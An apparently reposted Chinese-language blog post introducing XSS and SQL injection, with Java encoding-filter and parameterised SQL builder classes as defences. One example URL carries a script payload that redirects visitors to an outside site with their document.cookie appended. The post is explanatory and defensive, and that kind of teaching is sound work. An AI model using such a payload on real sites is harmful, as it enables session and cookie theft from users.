WEB安全:XSS漏洞與SQL注入漏洞介紹及解決方案

對web安全方面的知識很是薄弱,這篇文章把Xss跨站攻擊和sql注入的相關知識整理了下,但願你們多多提意見。css

對於防止sql注入發生,我只用過簡單拼接字符串的注入及參數化查詢,能夠說沒什麼好經驗,爲避免後知後覺的犯下大錯,專門參考大量前輩們的心得,小小的總結一下,歡迎你們拍磚啊html

1、跨站腳本攻擊(XSS)

跨站腳本攻擊的原理 java

XSS又叫CSS (Cross Site Script) ,跨站腳本攻擊。它指的是惡意攻擊者往Web頁面裏插入惡意腳本代碼,而程序對於用戶輸入內容未過濾,當用戶瀏覽該頁之時,嵌入其中Web裏面的腳本代碼會被執行,從而達到惡意攻擊用戶的特殊目的。web

跨站腳本攻擊的危害:竊取cookie、放蠕蟲、網站釣魚 ...sql

跨站腳本攻擊的分類主要有:存儲型XSS、反射型XSS、DOM型XSS安全

 

XSS漏洞是Web應用程序中最多見的漏洞之一。若是您的站點沒有預防XSS漏洞的固定方法,那麼就存在XSS漏洞。這個利用XSS漏洞的病毒之因此具備重要意義是由於,一般難以看到XSS漏洞的威脅,而該病毒則將其發揮得淋漓盡致。cookie

 

XSS工做流程app

 

1)惡意用戶,在一些公共區域(例如,建議提交表單或消息公共板的輸入表單)輸入一些文本,這些文本被其它用戶看到,但這些文本不單單是他們要輸入的文本,同時還包括一些能夠在客戶端執行的腳本。如:
http://xxx.xxx.com.cn/intf/_photos.jsp?callback=<script>window.location.href="http://www.baidu.com?a=" + escape(document.cookie)</script>、參數<script>xxx</script>若是這裏沒有通過轉義處理,則頁面中就嵌入了一段script
2)惡意提交這個表單
3)其餘用戶看到這個包括惡意腳本的頁面並執行,獲取用戶的cookie等敏感信息。

 

 

 

以下狀況,請求跳轉到百度,並將查詢到的cookie值也顯示出來了xss

結果將致使:jsp

 

更詳細的Xss原理等知識請參考園內大拿「小坦克」的這篇文章 Web安全測試之XSS

 

那咱們要如何防護Xss?

一種方法是在表單提交或者url參數傳遞前,對須要的參數進行過濾,請看以下XSS過濾工具類代碼

import java.net.URLEncoder; /** * 過濾非法字符工具類 * */
public class EncodeFilter { //過濾大部分html字符
    public static String encode(String input) { if (input == null) { return input; } StringBuilder sb = new StringBuilder(input.length()); for (int i = 0, c = input.length(); i < c; i++) { char ch = input.charAt(i); switch (ch) { case '&': sb.append("&amp;"); break; case '<': sb.append("&lt;"); break; case '>': sb.append("&gt;"); break; case '"': sb.append("&quot;"); break; case '\'': sb.append("&#x27;"); break; case '/': sb.append("&#x2F;"); break; default: sb.append(ch); } } return sb.toString(); } //js端過濾
    public static String encodeForJS(String input) { if (input == null) { return input; } StringBuilder sb = new StringBuilder(input.length()); for (int i = 0, c = input.length(); i < c; i++) { char ch = input.charAt(i); // do not encode alphanumeric characters and ',' '.' '_'
            if (ch >= 'a' && ch <= 'z' || ch >= 'A' && ch <= 'Z' || ch >= '0' && ch <= '9' || ch == ',' || ch == '.' || ch == '_') { sb.append(ch); } else { String temp = Integer.toHexString(ch); // encode up to 256 with \\xHH
                if (ch < 256) { sb.append('\\').append('x'); if (temp.length() == 1) { sb.append('0'); } sb.append(temp.toLowerCase()); // otherwise encode with \\uHHHH
                } else { sb.append('\\').append('u'); for (int j = 0, d = 4 - temp.length(); j < d; j ++) { sb.append('0'); } sb.append(temp.toUpperCase()); } } } return sb.toString(); } /** * css非法字符過濾 * http://www.w3.org/TR/CSS21/syndata.html#escaped-characters  */
    public static String encodeForCSS(String input) { if (input == null) { return input; } StringBuilder sb = new StringBuilder(input.length()); for (int i = 0, c = input.length(); i < c; i++) { char ch = input.charAt(i); // check for alphanumeric characters
            if (ch >= 'a' && ch <= 'z' || ch >= 'A' && ch <= 'Z' || ch >= '0' && ch <= '9') { sb.append(ch); } else { // return the hex and end in whitespace to terminate
                sb.append('\\').append(Integer.toHexString(ch)).append(' '); } } return sb.toString(); } /** * URL參數編碼 * http://en.wikipedia.org/wiki/Percent-encoding
*/ public static String encodeURIComponent(String input) { return encodeURIComponent(input, "utf-8"); } public static String encodeURIComponent(String input, String encoding) { if (input == null) { return input; } String result; try { result = URLEncoder.encode(input, encoding); } catch (Exception e) { result = ""; } return result; } public static boolean isValidURL(String input) { if (input == null || input.length() < 8) { return false; } char ch0 = input.charAt(0); if (ch0 == 'h') { if (input.charAt(1) == 't' && input.charAt(2) == 't' && input.charAt(3) == 'p') { char ch4 = input.charAt(4); if (ch4 == ':') { if (input.charAt(5) == '/' && input.charAt(6) == '/') { return isValidURLChar(input, 7); } else { return false; } } else if (ch4 == 's') { if (input.charAt(5) == ':' && input.charAt(6) == '/' && input.charAt(7) == '/') { return isValidURLChar(input, 8); } else { return false; } } else { return false; } } else { return false; } } else if (ch0 == 'f') { if( input.charAt(1) == 't' && input.charAt(2) == 'p' && input.charAt(3) == ':' && input.charAt(4) == '/' && input.charAt(5) == '/') { return isValidURLChar(input, 6); } else { return false; } } return false; } static boolean isValidURLChar(String url, int start) { for (int i = start, c = url.length(); i < c; i ++) { char ch = url.charAt(i); if (ch == '"' || ch == '\'') { return false; } } return true; } }

 烏雲網有不少關於xss報錯的bug記錄,如http://www.wooyun.org/bugs/wooyun-2010-016779

 

SQL注入漏洞

 

SQL注入攻擊的原理:

 

使用用戶輸入的參數拼湊SQL查詢語句,使用戶能夠控制SQL查詢語句。詳細關於sql注入的信息請參考:SQL注入攻防入門詳解

 

防護方法

  • 使用預編譯語句,
  • 綁定變量
  • 使用安全的存儲過程
  • 檢查數據類型
  • 使用安全函數

建議方法:不要使用拼接的sql,使用佔位符,例如使用JdbcTemplate,

下面給出一種解決方法:用下面的各類函數代替拼接sql的出現

 

import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; public class SqlBuilder { protected StringBuilder sqlBuf = new StringBuilder(); protected List<Object> values = new ArrayList<Object>(); protected Map<String, Object> paramMap = new HashMap<String, Object>(); public SqlBuilder appendSql(String sql) { sqlBuf.append(sql); return this; } public SqlBuilder appendValue(Object value) { sqlBuf.append('?'); values.add(value); return this; } public SqlBuilder appendValues(Object[] values) { sqlBuf.append('('); for (int i = 0, c = values.length; i < c; ++i) { sqlBuf.append('?').append(','); this.values.add(values[i]); } int last = sqlBuf.length() - 1; if (last > 0 && sqlBuf.charAt(last) == ',') { sqlBuf.setCharAt(last, ')'); } return this; } public SqlBuilder appendEqParam(String param, Object value) { sqlBuf.append(param).append(" = :").append(param); paramMap.put(param, value); return this; } public SqlBuilder appendLtParam(String param, Object value) { sqlBuf.append(param).append(" < :").append(param); paramMap.put(param, value); return this; } public SqlBuilder appendGtParam(String param, Object value) { sqlBuf.append(param).append(" > :").append(param); paramMap.put(param, value); return this; } public SqlBuilder appendInParam(String param, Object ... values) { if(values == null) { return this; } sqlBuf.append(param).append(" in ("); int len = values.length; for(int i = 0; i < len; i++) { if(i != 0) { sqlBuf.append(", "); } sqlBuf.append(":").append(param).append(i); paramMap.put(param+i, values[i]); } sqlBuf.append(")"); return this; } public SqlBuilder appendLikeParam(String param, Object value) { sqlBuf.append(param).append(" like :").append(param); paramMap.put(param, "%"+value+"%"); return this; } public String getSql() { return sqlBuf.toString(); } public Object[] getValues() { return values.toArray(); } public Map<String, Object> getParamMap() { return paramMap; } }

 

上面的兩種漏洞對於web開發會常常遇到,此外還有拒絕服務攻擊漏洞、跨站請求僞造(CSRF)、開放重定向漏洞等等,之後再慢慢學習!!!

相關文章
相關標籤/搜索